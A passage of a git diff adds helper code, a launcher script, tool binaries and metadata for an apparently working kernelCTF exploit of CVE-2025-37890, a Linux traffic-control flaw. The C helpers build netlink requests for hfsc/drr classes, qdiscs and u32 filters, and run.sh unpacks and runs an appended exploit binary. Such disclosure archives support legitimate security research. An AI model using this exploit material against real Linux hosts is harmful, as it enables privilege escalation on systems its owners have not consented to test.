mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int create_class(const int sock_fd, const __u32 child_handle, const __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_NEWTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE | NLM_F_ACK; + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = child_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "drr"); + + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int create_class_hfsc(const int sock_fd, const __u32 child_handle, const __u32 parent_handle, struct tc_service_curve *rsc, struct tc_service_curve *fsc, struct tc_service_curve *usc) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE | NLM_F_ACK; + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + + tcm->tcm_handle = child_handle; + tcm->tcm_parent = parent_handle; + mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + + if (rsc) + mnl_attr_put(nlh, TCA_HFSC_RSC, sizeof(struct tc_service_curve), rsc); + if (fsc) + mnl_attr_put(nlh, TCA_HFSC_FSC, sizeof(struct tc_service_curve), fsc); + if (usc) + mnl_attr_put(nlh, TCA_HFSC_USC, sizeof(struct tc_service_curve), usc); + + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int delete_class(int sock_fd, __u32 my_handle, __u32 parent_handle, const char *kind) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_DELTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, kind); + + return netlink_send(sock_fd, nlh); +} + +int delete_qdisc(int sock_fd, __u32 my_handle, __u32 parent_handle, const char *kind) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_DELQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, kind); + + return netlink_send(sock_fd, nlh); +} + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/run.sh b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/run.sh new file mode 100644 index 000000000..01f15bdf1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/run.sh @@ -0,0 +1,10 @@ +#!/bin/sh +mkdir /tmp/workdir # /tmp/exp is a dir +cd /tmp/workdir + +dd if=$0 of=exp.tar.gz skip=1 +tar -xf exp.tar.gz +# sh -c './exp' +./exp + +exit \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/tc b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/tc new file mode 100755 index 000000000..f7c3ee8c7 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/tc differ diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/tc_filters.h b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/tc_filters.h new file mode 100644 index 000000000..1bc3325c8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/tc_filters.h @@ -0,0 +1,207 @@ +#ifndef PWN_TC_FILTERS_H +#define PWN_TC_FILTERS_H + +char *PWN_TC_FILTER_INTERFACE = "lo"; + +// sub: filter section +int get_u32(__u32 *val, const char *arg, int base) +{ + unsigned long res; + char *ptr; + + if (!arg || !*arg) + return -1; + res = strtoul(arg, &ptr, base); + + /* empty string or trailing non-digits */ + if (!ptr || ptr == arg || *ptr) + return -1; + + /* overflow */ + if (res == ULONG_MAX && errno == ERANGE) + return -1; + + /* in case UL > 32 bits */ + if (res > 0xFFFFFFFFUL) + return -1; + + *val = res; + return 0; +} + +static int get_u32_handle_(__u32 *handle, const char *str) +{ + __u32 htid = 0, hash = 0, nodeid = 0; + char *tmp = strchr(str, ':'); + + if (tmp == NULL) + { + if (memcmp("0x", str, 2) == 0) + return get_u32(handle, str, 16); + return -1; + } + htid = strtoul(str, &tmp, 16); + if (tmp == str && *str != ':' && *str != 0) + return -1; + if (htid >= 0x1000) + return -1; + if (*tmp) + { + str = tmp + 1; + hash = strtoul(str, &tmp, 16); + if (tmp == str && *str != ':' && *str != 0) + return -1; + if (hash >= 0x100) + return -1; + if (*tmp) + { + str = tmp + 1; + nodeid = strtoul(str, &tmp, 16); + if (tmp == str && *str != 0) + return -1; + if (nodeid >= 0x1000) + return -1; + } + } + *handle = (htid << 20) | (hash << 12) | nodeid; + return 0; +} + +__u32 get_u32_handle(const char *str) +{ + __u32 handle = 0; + if (get_u32_handle_(&handle, str)) + { + fatal("invalid u32 handle"); + } + return handle; +} + +int create_filter(int sock_fd, __u32 filter_handle, __u32 qdisc_handle, __u32 target_class) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWTFILTER; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + tcm->tcm_ifindex = if_nametoindex(PWN_TC_FILTER_INTERFACE); + tcm->tcm_handle = filter_handle; + tcm->tcm_parent = qdisc_handle; + tcm->tcm_info = TC_H_MAKE(1 << 16, htons(ETH_P_ALL)); // Protocol IP + mnl_attr_put_strz(nlh, TCA_KIND, "u32"); + + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + + // Simplified selector structure - match everything + struct + { + struct tc_u32_sel sel; + struct tc_u32_key keys[1]; // Only need one key for matching all + } sel = { + .sel = { + .flags = TC_U32_TERMINAL, // Terminal match + .nkeys = 1, // One key is sufficient + .off = 0, + .offmask = 0, + .offshift = 0, + .offoff = 0, + .hoff = 0, + .hmask = 0}}; + + // Set up a key that matches everything + sel.keys[0] = (struct tc_u32_key){ + .mask = 0, // Match any value + .val = 0, // Value doesn't matter since mask is 0 + .off = 0, // Start of packet + .offmask = 0 // No offset mask needed + }; + + // Add the selector with the key + mnl_attr_put(nlh, TCA_U32_SEL, sizeof(sel.sel) + sizeof(sel.keys[0]), &sel); + + // Set the target class + mnl_attr_put_u32(nlh, TCA_U32_CLASSID, target_class); + + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int delete_filter(int sock_fd, __u32 filter_handle, __u32 qdisc_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_DELTFILTER; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + tcm->tcm_ifindex = if_nametoindex(PWN_TC_FILTER_INTERFACE); + tcm->tcm_handle = filter_handle; + tcm->tcm_parent = qdisc_handle; + tcm->tcm_info = TC_H_MAKE(1 << 16, htons(ETH_P_ALL)); + + mnl_attr_put_strz(nlh, TCA_KIND, "u32"); + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +/* new additions for miti */ +int create_filter_src_port(int sock_fd, __u32 filter_handle, __u32 qdisc_handle, __u32 target_class, uint16_t src_port) +{ + // IP header (20) + offset to src port (0) + // NB: would be 20 + 2 for dst port + const size_t offset = 20; + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWTFILTER; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + tcm->tcm_ifindex = if_nametoindex(PWN_TC_FILTER_INTERFACE); + tcm->tcm_handle = filter_handle; + tcm->tcm_parent = qdisc_handle; + tcm->tcm_info = TC_H_MAKE(1 << 16, htons(ETH_P_ALL)); + + mnl_attr_put_strz(nlh, TCA_KIND, "u32"); + + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + + struct + { + struct tc_u32_sel sel; + struct tc_u32_key keys[1]; + } sel = { + .sel = { + .flags = TC_U32_TERMINAL, + .nkeys = 1, + .off = 0, + .offmask = 0, + .offshift = 0, + .offoff = 0, + .hoff = 0, + .hmask = 0}}; + + sel.keys[0] = (struct tc_u32_key){ + .mask = 0x0000FFFF, + .val = (__u32)htons(src_port), + .off = offset, + .offmask = 0}; + + mnl_attr_put(nlh, TCA_U32_SEL, sizeof(sel.sel) + sizeof(sel.keys[0]), &sel); + + mnl_attr_put_u32(nlh, TCA_U32_CLASSID, target_class); + + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/xtables-legacy-multi b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/xtables-legacy-multi new file mode 100755 index 000000000..f878892d4 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/xtables-legacy-multi differ diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/metadata.json new file mode 100644 index 000000000..a8a49bdc9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp289", "exp294"], + "vulnerability": { + "cve": "CVE-2025-37890", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=342debc12183b51773b3345ba267e9263bdfaaef", + "affected_versions": ["5.0-rc3 - 6.15-rc4"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": ["CONFIG_NET_SCHED", "CONFIG_NET_SCH_NETEM", "CONFIG_NET_SCH_HFSC"] + } + }, + "exploits": { + "mitigation-v3b-6.1.55": { + "environment": "mitigation-v3b-6.1.55", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "90% success rate" + }, + "cos-109-17800.436.60": { + "environment": "cos-109-17800.436.60", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "90% success rate" + }, + "lts-6.6.83": { + "environment": "lts-6.6.83", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "90% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/original_exp289.tar.gz b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/original_exp289.tar.gz new file mode 100644 index 000000000..d351c6203 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/original_exp289.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/original_exp294.tar.gz b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/original_exp294.tar.gz new file mode 100644 index 000000000..ede475e3d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/original_exp294.tar.gz differ